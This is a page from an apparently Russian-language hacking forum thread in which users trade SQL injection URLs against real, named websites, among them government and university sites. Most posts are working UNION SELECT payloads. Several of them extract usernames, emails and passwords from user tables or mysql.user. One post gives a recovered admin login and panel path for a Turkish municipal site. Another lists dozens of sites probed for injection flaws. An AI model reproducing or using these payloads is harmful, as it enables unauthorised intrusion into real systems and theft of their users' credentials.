SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. valiko

    valiko Elder - Старейшина

    Joined:
    28 Jan 2007
    Messages:
    152
    Likes Received:
    144
    Reputations:
    19
    Code:
    http://www.sobesednik.ru/news.php?id=3&art_id=-183)+union+select+1,2,3,4,5,convert(user()+using+cp1251),convert(version()+using+cp1251),8/*
     
  2. random

    random Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    50
    Likes Received:
    54
    Reputations:
    11
    Code:
    http://www.linspire.com/lindows_news_pressreleases_archives.php?id=-213+union+select+version(),2/*
    Code:
    http://metalistfans.net/news.php?id=-607+union+select+1,2,3,version(),user(),database(),7,8,9/*
     
  3. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.themanroom.com/interviews.php?id=-10+union+select+1,2,3,4,5/*

    http://oculus.ru/stat.php?id=-161+union+select+1,2,3,4,5,6,7,8,9,10/*

    http://www.lanit.uz/stat.php?id=-7+union+select+1,2,3,4/*

    http://pup.phpwebhosting.com/~atalaia/encontro.php?id=-81+union+select+1,2,3,4,5/*

    http://www.diariosigloxxi.com/noticia.php?id=-11074+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

    http://www.agenciapulsar.org/nota.php?id=-9771+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

    http://www.datafull.com/infotech/nota.php?id=-1398+union+select+1,2,3,4,5,6,7,8/*

    http://www.mexicoforestal.gob.mx/nota.php?id=-379+union+select+1,2,3/*

    http://www.cymrux.org.uk/docs/item.php?lg=en&item_id=-31+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

    http://www.spress.info/articles/articles1.php?id=9&cont=-10+union+select+1,2,3,4,5,6,7,8,9/*

    http://www.pokerplayersalliance.org/news/newsandarticles_article.php?DID=-114+union+select+1,concat(id,0x3a,email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+members+limit+100000,1/*

    http://www.corecoach.net/news/newsandarticles_article.php?DID=-3+union+select+1,concat(user,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+mysql.user/*
     
    2 people like this.
  4. random

    random Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    50
    Likes Received:
    54
    Reputations:
    11
    Code:
    http://photo-masters.net/news.php?code=-86+union+select+1,2,3,4,5,6,version(),8,user(),10,11,12,13/*
    Code:
    http://www.ezgulik.org/news.php?id=-197+union+select+1,2,version(),database(),5,6/*
    Code:
    http://www.igray.ru/news.php?sid=-3507+union+select+version()/*
    Code:
    http://www.rossignol.ru/ski/news.php?news_id=-41+union+select+1,version(),user(),4,database(),6,7,8/*
     
  5. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    Code:
    http://www.yogainstitute.org/product_detail.php?id=-46%20UNION%20SELECT%201,2,3,concat(user(),0x3a,version()),5,6/*
     
  6. random

    random Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    50
    Likes Received:
    54
    Reputations:
    11
    Code:
    http://www.propovednik.ru/news.php?view=-652+union+select+1,2,3,4,5,6,7,8/*
    Code:
    http://transport.su/news.php?rub=5&id=-20792+union+select+1,2,3,4,5,6,7,8,9,10/*
    Code:
    http://www.yurcom.ru/news.php?news=-72+union+select+1,2,3,4/*
    Code:
    http://www.survival-international.org/news.php?id=-2128+union+select+1,2,3,4,database(),6,concat(user(),0x3a,version()),8,9,10,11,12,13,14,15,16,17,18/*
     
  7. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    Code:
    http://www.good.ru/events/evtall.php3?ob=-1+union+select+1,2,concat(convert(user+using+cp1251),0x3a,convert(password+using+cp1251)),4,5,6,7,8,9+from+mysql.user/*
    Code:
    http://oscommerce.su/modules/wflinks/viewcat.php?cid=-1+union+select+1,2,convert(version()+using+cp1251),4,5,6,7,8,9,10,11,12,13,14/*
    Code:
    http://www.konditerprom.ru/list/list.php?cid=-1+union+select+1,2,user(),4,5/*
     
    1 person likes this.
  8. ЛифчиС5СВ

    ЛифчиС5СВ Elder - Старейшина

    Joined:
    9 Mar 2007
    Messages:
    164
    Likes Received:
    141
    Reputations:
    12
    http://uptime.ru/downtime.php?host_id=-1+UNION+SELECT+null,null,version(),null,null,null,null,null,null,null,null,null

    Мой первый скуль :) Можете поздравить! Стукните в приват, спецы скуля. Есть вопросы к вам. ;)
     
  9. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    я уже выкладывал
    http://uptime.ru/downtime.php?host_id=-1+union+select+login,2,password,4,email,6,icq,8,9,10,11,12+from+users+limit+8200,8201/*
    8к юзеров.
     
  10. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    5 версия, но при попытке сделать from+information_schema.tables выдает ошибку :(

    7k юзеров, открытые пароли...
     
    1 person likes this.
  11. random

    random Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    50
    Likes Received:
    54
    Reputations:
    11
    Code:
    http://www.michaelpollan.com/article.php?id=-32+union+select+1,2,3,4,5,6,7,8,9,10/*
    Code:
    http://www.nivisec.com/article.php?l=vi&ar=-15+union+select+1,2,3,concat(user(),0x3a,version()),5,6/*
    Code:
    http://duckhenge.uoregon.edu/io/article?id=-264+union+select+1,version(),3,4,5,6,7,user(),9,10,11,12,13,14,15,16/*
     
    1 person likes this.
  12. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    526
    Likes Received:
    260
    Reputations:
    138
    www.ChineSejetPilot.com


    Code:
    http://www.chinesejetpilot.com/index.php?ID=-1+order+by+6/*
     
  13. ATFakep

    ATFakep Elder - Старейшина

    Joined:
    11 Dec 2006
    Messages:
    83
    Likes Received:
    77
    Reputations:
    51
    Government of the republic of Lithuania

    Code:
    http://www.lrv.lt/main.php?cat=3&gr=-1+union+select+user(),2,3+/*
     
  14. ATFakep

    ATFakep Elder - Старейшина

    Joined:
    11 Dec 2006
    Messages:
    83
    Likes Received:
    77
    Reputations:
    51
    Code:
    http://journalism.berkeley.edu/events/details.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53+/*
    Удаляем пробелы
     
  15. random

    random Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    50
    Likes Received:
    54
    Reputations:
    11
    Code:
    http://ezonet.ru/event.php?nid=-1244+union+select+1,2,3,user(),5,6,7,8,9,10/*
     
  16. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    Code:
    http://www.arcade.sg/full.php?id=-217+union+select+concat(username,0x3a,password)+from+users/*
    Code:
    http://www.tectonic.co.za/view.php?id=-1377+union+select+concat(username,0x3a,password),2+from+users/*
    Code:
    http://www.oudtshoorninfo.com/culture.php?id=-7+union+select+1,version()/*&category=22
    
     
    2 people like this.
  17. Muhacir

    Muhacir Elder - Старейшина

    Joined:
    5 Oct 2006
    Messages:
    91
    Likes Received:
    51
    Reputations:
    -2
    gov.tr again :eek:

    Code:
    http://www.narlidere-bld.gov.tr/default.asp?link=haber&no=1+union+select+0,1,2,sifre,4,5,6,7,8,9,0+from+sifre
    User: narlı
    Pass: narlı
    Panel: /admin
     
    2 people like this.
  18. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Code:
    http://www.sexysexy.ru/list.php?g=18&link=-1+union+select+1,concat(name,char(58),email,char(58),pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+autors/*
     
    2 people like this.
  19. ssk.ex0.uf0

    ssk.ex0.uf0 Elder - Старейшина

    Joined:
    27 Feb 2007
    Messages:
    68
    Likes Received:
    19
    Reputations:
    0
    http://auto-mir.org/?context=catalog&type=24'
    http://www.auto-sakhalin.ru/?context=5'
    http://www.capital-avto.ru/foto.php?lnk=23'
    http://www.vsk.ru/vsk_site/uslugi_dlya_grazhdan/strahovanie_ot_neschastnogo_sluchaya/?id_art=89872'
    http://michinokubank.ru/index.php?page=31&id=38'
    http://www.landliz.com/?id=1'
    http://elit.sakhalin.org/?id=4&theme=1'
    http://sakhtec.ru/?context=5'
    http://www.gaks.ru/?page=news&p=0&id=30'
    http://www.valma.com/?page=1'
    http://www.garant.ru/banner/click.php3?bannerID=26'
    http://www.referent.ru/responses/full.php?indeximg=0044'
    http://www.ingos.ru/ru/news/releases/index.php?id4=-1
    http://www.ros.ru/ru/press-center/news/archive/index.php?id4=1160'
    http://dagun.sakh.ru/ru/main/information/tel_line/index.shtml?SECTION_ID=391&SECTION_ID=391&LIBRARY_ID=5'
    http://yuzhno.sakh.ru/ru/vote.shtml?vote_question_id=10'
    http://dmp.mgopu.ru/searchTopics.php?t1=2&t2=1&t3=1'
    http://sakhwildnat.ru/?context=3&lang=1'
    http://www.dsv.ru/shareholder.php?id=-24
    http://www.dsc.ru/rus.php?id=1'
    http://www.sakhalin.org/?context=-1
    http://www.jmsoft.ru/?razdel=Услуги&id=5'
    http://www.digitaldevice.ru/?page=&p=-1
    http://www.coland.ru/index.php?keyword=%E0%E3%E0&Itemid=0&option=com_virtuemart&page=1'
    http://www.referent.ru/responses/full.php?indeximg=0044'
    http://www.lgchem.ru/window/main.jsp?m=6&mode=S&Rwkind=W&Tkind=W021&cur_page=-1
    http://www.club-legion.ru/news.php?id=3'2
    http://sakhalin-park.ru/album.php?id=1&page=2
    http://www.octoberhall.ru/text.php?id=519'
    http://www.katren.ru/search.asp?SearchString=1
    http://sakhalin-hospital.ru/news/1153349882'
    http://www.sakhalinantiaids.ru/?context=2'
    http://www.radix-sakhalin.ru/?page=1'
    http://elit.sakhalin.org/?id=11&resume=1'
    http://www.vvsu.ru/oiskp/default_auto.asp?IdRubric=21548'
    http://www.seml.ru/?page=news&id=45'
    http://www.bentam.ru/?pg=0&id=69'
    http://www.sakhincentr.ru/index.pl?HTML=1'
    http://newsroom.slb.com/press/newsroom/index.cfm?prid=20544'
    http://sakhalin.shelfflot.com/html_rus.php?action=view&idnews=17'
    http://grot-oil.ru/?page=1'
    http://www.sakhalinenergy.com/en/default.asp?p=channel_home&c=2'
    http://www.interramashservice.ru/?context=1'
    http://www.vostok-sakhalin.ru/?context=cat&good_cat=7&PAGE=-1
    http://www.kriljonservice.ru/?p=1'
    http://www.club-legion.ru/news.php?id=-32
    http://www.sakhalin-fantastic.ru/rus/?pg=4&p=&idbig=151'
    http://www.coleman.ru/taxonomy/term/4,8'
    http://www.deltaleasing.ru/success/success.php?file=267'3
    http://www.vsk.ru/vsk_site/uslugi_dlya_grazhdan/strahovanie_ot_neschastnogo_sluchaya/?id_art=89872'
    http://www.npfgt.ru/show_pg.php?f=fil&id=39'
    http://www.sakhprint.ru/?id=1'
    http://www.proffcom.org/index.php?context=1'
    http://www.sakhtorg.ru/r3/?p1=9&di=259'
    http://www.katren.ru/faqs.asp?subID=0&paneID=0&page=-2
    http://www.seml.ru/?page=news&id=46'
    http://www.gd-sakhalin.ru/?id=-1
    http://www.chemwide.co.kr/product3/0matter/matter_type.jsp?prodSeq=9&locale=1'
    http://www.spk.ru/news_pr.asp?nn=166'
    http://www.sectors.ru/?context=view&id=1'
    http://kontyr.ru/social_initiatives/1'
    http://www.royaks-m.ru/pages/facilities/3/6/?id=304'
    http://www.comfort-sakhalin.ru/index.php?id=2'
    http://www.airagency.ru/news/default.asp?c=1'
    http://www.sakhmortek2003.org/rusview.php?razdel=1'
    http://www.seml.ru/?page=news&id=1'
    http://safta.ru/catalog.php?g_id=452&id=55'
    P.S. прошу палками не бить...искал для статистики...
     
    1 person likes this.
  20. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    о_О жжошь...
    *Пошел подбирать столбцы с колонками*
    И там 5 версия

    Тут mssql... если кому надо...

    Все, задолбался. Потом закончу :)
     
    #1380 kamaz, 26 Mar 2007
    Last edited: 26 Mar 2007
    2 people like this.
Thread Status:
Not open for further replies.